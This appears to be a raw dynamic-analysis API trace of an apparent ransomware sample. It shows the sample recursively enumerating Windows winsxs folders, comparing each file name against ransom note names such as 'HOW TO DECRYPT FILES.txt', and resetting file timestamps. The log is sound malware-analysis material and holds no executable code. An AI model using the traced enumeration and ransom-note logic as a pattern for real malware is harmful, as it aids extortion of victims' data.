(lpString1=".", lpString2="..") returned -1 [0165.752] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0165.752] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0fbf586, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0xb0fbf586, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0x91327b3d, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x854, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="manageAllRoles.aspx.resx", cAlternateFileName="MANAGE~1.RES")) returned 1 [0165.752] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0165.753] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="manageAllRoles.aspx.resx") returned -1 [0165.753] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="manageAllRoles.aspx.resx") returned -1 [0165.753] lstrcmpiA (lpString1="", lpString2="manageAllRoles.aspx.resx") returned -1 [0165.753] PathFindFileNameA (pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_roles_res_b03f5f7f11d50a3a_6.1.7600.16385_none_1487ae3ac19b400f\\*.*") returned="*.*" [0165.753] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_roles_res_b03f5f7f11d50a3a_6.1.7600.16385_none_1487ae3ac19b400f\\" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_roles_res_b03f5f7f11d50a3a_6.1.7600.16385_none_1487ae3ac19b400f\\") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_roles_res_b03f5f7f11d50a3a_6.1.7600.16385_none_1487ae3ac19b400f\\" [0165.753] PathAddBackslashA (in: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_roles_res_b03f5f7f11d50a3a_6.1.7600.16385_none_1487ae3ac19b400f\\" | out: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_roles_res_b03f5f7f11d50a3a_6.1.7600.16385_none_1487ae3ac19b400f\\") returned="" [0165.753] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0165.753] CloseHandle (hObject=0xffffffff) returned 0 [0165.753] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb100b840, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0xb100b840, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0x91327b3d, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x7f2, dwReserved0=0x0, dwReserved1=0x0, cFileName="manageSingleRole.aspx.resx", cAlternateFileName="MANAGE~2.RES")) returned 1 [0165.753] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0165.753] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="manageSingleRole.aspx.resx") returned -1 [0165.753] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="manageSingleRole.aspx.resx") returned -1 [0165.754] lstrcmpiA (lpString1="", lpString2="manageSingleRole.aspx.resx") returned -1 [0165.754] PathFindFileNameA (pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_roles_res_b03f5f7f11d50a3a_6.1.7600.16385_none_1487ae3ac19b400f\\manageAllRoles.aspx.resx") returned="manageAllRoles.aspx.resx" [0165.754] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_roles_res_b03f5f7f11d50a3a_6.1.7600.16385_none_1487ae3ac19b400f\\" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_roles_res_b03f5f7f11d50a3a_6.1.7600.16385_none_1487ae3ac19b400f\\") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_roles_res_b03f5f7f11d50a3a_6.1.7600.16385_none_1487ae3ac19b400f\\" [0165.754] PathAddBackslashA (in: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_roles_res_b03f5f7f11d50a3a_6.1.7600.16385_none_1487ae3ac19b400f\\" | out: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_roles_res_b03f5f7f11d50a3a_6.1.7600.16385_none_1487ae3ac19b400f\\") returned="" [0165.754] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0165.754] CloseHandle (hObject=0xffffffff) returned 0 [0165.754] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb100b840, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0xb100b840, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0x91327b3d, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x7f2, dwReserved0=0x0, dwReserved1=0x0, cFileName="manageSingleRole.aspx.resx", cAlternateFileName="MANAGE~2.RES")) returned 0 [0165.754] FindClose (in: hFindFile=0x5025d8 | out: hFindFile=0x5025d8) returned 1 [0165.755] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1139bf1e, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x1139bf1e, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x1139bf1e, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="amd64_netfx-aspnet_webadmin_security_b03f5f7f11d50a3a_6.1.7600.16385_none_ef661ab3b4bc29bf", cAlternateFileName="AMA948~1.163")) returned 1 [0165.755] lstrcmpA (lpString1=".", lpString2="amd64_netfx-aspnet_webadmin_security_b03f5f7f11d50a3a_6.1.7600.16385_none_ef661ab3b4bc29bf") returned -1 [0165.755] lstrcmpA (lpString1="..", lpString2="amd64_netfx-aspnet_webadmin_security_b03f5f7f11d50a3a_6.1.7600.16385_none_ef661ab3b4bc29bf") returned -1 [0165.755] PathFindFileNameA (pszPath="C:\\Windows\\winsxs\\*.*") returned="*.*" [0165.755] FindFirstFileA (in: lpFileName="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_security_b03f5f7f11d50a3a_6.1.7600.16385_none_ef661ab3b4bc29bf\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1139bf1e, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x1139bf1e, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x1139bf1e, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0165.759] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0165.759] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1139bf1e, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x1139bf1e, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x1139bf1e, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0165.759] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0165.759] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0165.759] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb10c9f11, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0xb10c9f11, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0x9140c371, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x276e, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="security.aspx", cAlternateFileName="SECURI~1.ASP")) returned 1 [0165.759] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0165.759] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="security.aspx") returned -1 [0165.759] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="security.aspx") returned -1 [0165.759] lstrcmpiA (lpString1="", lpString2="security.aspx") returned -1 [0165.759] PathFindFileNameA (pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_security_b03f5f7f11d50a3a_6.1.7600.16385_none_ef661ab3b4bc29bf\\*.*") returned="*.*" [0165.759] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_security_b03f5f7f11d50a3a_6.1.7600.16385_none_ef661ab3b4bc29bf\\" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_security_b03f5f7f11d50a3a_6.1.7600.16385_none_ef661ab3b4bc29bf\\") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_security_b03f5f7f11d50a3a_6.1.7600.16385_none_ef661ab3b4bc29bf\\" [0165.759] PathAddBackslashA (in: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_security_b03f5f7f11d50a3a_6.1.7600.16385_none_ef661ab3b4bc29bf\\" | out: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_security_b03f5f7f11d50a3a_6.1.7600.16385_none_ef661ab3b4bc29bf\\") returned="" [0165.760] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0165.760] CloseHandle (hObject=0xffffffff) returned 0 [0165.760] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb113c328, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0xb113c328, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0x9140c371, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x5a7, dwReserved0=0x0, dwReserved1=0x0, cFileName="security0.aspx", cAlternateFileName="SECURI~2.ASP")) returned 1 [0165.760] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0165.760] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="security0.aspx") returned -1 [0165.760] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="security0.aspx") returned -1 [0165.760] lstrcmpiA (lpString1="", lpString2="security0.aspx") returned -1 [0165.760] PathFindFileNameA (pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_security_b03f5f7f11d50a3a_6.1.7600.16385_none_ef661ab3b4bc29bf\\security.aspx") returned="security.aspx" [0165.760] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_security_b03f5f7f11d50a3a_6.1.7600.16385_none_ef661ab3b4bc29bf\\" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_security_b03f5f7f11d50a3a_6.1.7600.16385_none_ef661ab3b4bc29bf\\") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_security_b03f5f7f11d50a3a_6.1.7600.16385_none_ef661ab3b4bc29bf\\" [0165.760] PathAddBackslashA (in: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_security_b03f5f7f11d50a3a_6.1.7600.16385_none_ef661ab3b4bc29bf\\" | out: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_security_b03f5f7f11d50a3a_6.1.7600.16385_none_ef661ab3b4bc29bf\\") returned="" [0165.761] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0165.761] CloseHandle (hObject=0xffffffff) returned 0 [0165.761] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb1162485, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0xb1162485, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0x914324cf, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0xa04, dwReserved0=0x0, dwReserved1=0x0, cFileName="setUpAuthentication.aspx", cAlternateFileName="SETUPA~1.ASP")) returned 1 [0165.761] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0165.761] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="setUpAuthentication.aspx") returned -1 [0165.761] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="setUpAuthentication.aspx") returned -1 [0165.761] lstrcmpiA (lpString1="", lpString2="setUpAuthentication.aspx") returned -1 [0165.761] PathFindFileNameA (pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_security_b03f5f7f11d50a3a_6.1.7600.16385_none_ef661ab3b4bc29bf\\security0.aspx") returned="security0.aspx" [0165.761] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_security_b03f5f7f11d50a3a_6.1.7600.16385_none_ef661ab3b4bc29bf\\" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_security_b03f5f7f11d50a3a_6.1.7600.16385_none_ef661ab3b4bc29bf\\") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_security_b03f5f7f11d50a3a_6.1.7600.16385_none_ef661ab3b4bc29bf\\" [0165.761] PathAddBackslashA (in: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_security_b03f5f7f11d50a3a_6.1.7600.16385_none_ef661ab3b4bc29bf\\" | out: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_security_b03f5f7f11d50a3a_6.1.7600.16385_none_ef661ab3b4bc29bf\\") returned="" [0165.762] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0165.762] CloseHandle (hObject=0xffffffff) returned 0 [0165.762] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb1162485, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0xb1162485, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0x914324cf, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0xa04, dwReserved0=0x0, dwReserved1=0x0, cFileName="setUpAuthentication.aspx", cAlternateFileName="SETUPA~1.ASP")) returned 0 [0165.762] FindClose (in: hFindFile=0x5025d8 | out: hFindFile=0x5025d8) returned 1 [0165.763] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x11375dc4, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x1139bf1e, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x1139bf1e, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="amd64_netfx-aspnet_webadmin_secur_res_b03f5f7f11d50a3a_6.1.7600.16385_none_5053116fe7b53060", cAlternateFileName="AM4227~1.163")) returned 1 [0165.763] lstrcmpA (lpString1=".", lpString2="amd64_netfx-aspnet_webadmin_secur_res_b03f5f7f11d50a3a_6.1.7600.16385_none_5053116fe7b53060") returned -1 [0165.763] lstrcmpA (lpString1="..", lpString2="amd64_netfx-aspnet_webadmin_secur_res_b03f5f7f11d50a3a_6.1.7600.16385_none_5053116fe7b53060") returned -1 [0165.764] PathFindFileNameA (pszPath="C:\\Windows\\winsxs\\*.*") returned="*.*" [0165.764] FindFirstFileA (in: lpFileName="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_secur_res_b03f5f7f11d50a3a_6.1.7600.16385_none_5053116fe7b53060\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x11375dc4, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x1139bf1e, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x1139bf1e, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0165.766] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0165.766] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x11375dc4, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x1139bf1e, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x1139bf1e, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0165.766] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0165.766] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0165.766] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0e68941, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0xb0e68941, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0x91138977, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0xe98, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="security.aspx.resx", cAlternateFileName="SECURI~1.RES")) returned 1 [0165.766] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0165.766] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="security.aspx.resx") returned -1 [0165.766] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="security.aspx.resx") returned -1 [0165.766] lstrcmpiA (lpString1="", lpString2="security.aspx.resx") returned -1 [0165.766] PathFindFileNameA (pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_secur_res_b03f5f7f11d50a3a_6.1.7600.16385_none_5053116fe7b53060\\*.*") returned="*.*" [0165.766] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_secur_res_b03f5f7f11d50a3a_6.1.7600.16385_none_5053116fe7b53060\\" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_secur_res_b03f5f7f11d50a3a_6.1.7600.16385_none_5053116fe7b53060\\") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_secur_res_b03f5f7f11d50a3a_6.1.7600.16385_none_5053116fe7b53060\\" [0165.766] PathAddBackslashA (in: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_secur_res_b03f5f7f11d50a3a_6.1.7600.16385_none_5053116fe7b53060\\" | out: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_secur_res_b03f5f7f11d50a3a_6.1.7600.16385_none_5053116fe7b53060\\") returned="" [0165.766] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0165.766] CloseHandle (hObject=0xffffffff) returned 0 [0165.767] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0e68941, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0xb0e68941, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0x9115ead5, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x567, dwReserved0=0x0, dwReserved1=0x0, cFileName="security0.aspx.resx", cAlternateFileName="SECURI~2.RES")) returned 1 [0165.767] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0165.767] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="security0.aspx.resx") returned -1 [0165.767] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="security0.aspx.resx") returned -1 [0165.767] lstrcmpiA (lpString1="", lpString2="security0.aspx.resx") returned -1 [0165.767] PathFindFileNameA (pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_secur_res_b03f5f7f11d50a3a_6.1.7600.16385_none_5053116fe7b53060\\security.aspx.resx") returned="security.aspx.resx" [0165.767] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_secur_res_b03f5f7f11d50a3a_6.1.7600.16385_none_5053116fe7b53060\\" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_secur_res_b03f5f7f11d50a3a_6.1.7600.16385_none_5053116fe7b53060\\") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_secur_res_b03f5f7f11d50a3a_6.1.7600.16385_none_5053116fe7b53060\\" [0165.767] PathAddBackslashA (in: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_secur_res_b03f5f7f11d50a3a_6.1.7600.16385_none_5053116fe7b53060\\" | out: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_secur_res_b03f5f7f11d50a3a_6.1.7600.16385_none_5053116fe7b53060\\") returned="" [0165.767] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0165.767] CloseHandle (hObject=0xffffffff) returned 0 [0165.768] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0165.768] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="setUpAuthentication.aspx.resx") returned -1 [0165.768] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="setUpAuthentication.aspx.resx") returned -1 [0165.768] lstrcmpiA (lpString1="", lpString2="setUpAuthentication.aspx.resx") returned -1 [0165.768] PathFindFileNameA (pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_secur_res_b03f5f7f11d50a3a_6.1.7600.16385_none_5053116fe7b53060\\security0.aspx.resx") returned="security0.aspx.resx" [0165.768] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_secur_res_b03f5f7f11d50a3a_6.1.7600.16385_none_5053116fe7b53060\\" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_secur_res_b03f5f7f11d50a3a_6.1.7600.16385_none_5053116fe7b53060\\") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_secur_res_b03f5f7f11d50a3a_6.1.7600.16385_none_5053116fe7b53060\\" [0165.768] PathAddBackslashA (in: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_secur_res_b03f5f7f11d50a3a_6.1.7600.16385_none_5053116fe7b53060\\" | out: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_secur_res_b03f5f7f11d50a3a_6.1.7600.16385_none_5053116fe7b53060\\") returned="" [0165.768] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0165.768] CloseHandle (hObject=0xffffffff) returned 0 [0165.769] lstrcmpA (lpString1=".", lpString2="amd64_netfx-aspnet_webadmin_users_b03f5f7f11d50a3a_6.1.7600.16385_none_be918bff95b9bbc5") returned -1 [0165.769] lstrcmpA (lpString1="..", lpString2="amd64_netfx-aspnet_webadmin_users_b03f5f7f11d50a3a_6.1.7600.16385_none_be918bff95b9bbc5") returned -1 [0165.769] PathFindFileNameA (pszPath="C:\\Windows\\winsxs\\*.*") returned="*.*" [0165.769] FindFirstFileA (in: lpFileName="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_users_b03f5f7f11d50a3a_6.1.7600.16385_none_be918bff95b9bbc5\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1139bf1e, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x1139bf1e, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x1139bf1e, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0165.771] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0165.771] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0165.772] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0165.772] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0165.772] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="addUser.aspx") returned 1 [0165.772] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="addUser.aspx") returned 1 [0165.772] lstrcmpiA (lpString1="", lpString2="addUser.aspx") returned -1 [0165.772] PathFindFileNameA (pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_users_b03f5f7f11d50a3a_6.1.7600.16385_none_be918bff95b9bbc5\\*.*") returned="*.*" [0165.772] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_users_b03f5f7f11d50a3a_6.1.7600.16385_none_be918bff95b9bbc5\\" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_users_b03f5f7f11d50a3a_6.1.7600.16385_none_be918bff95b9bbc5\\") 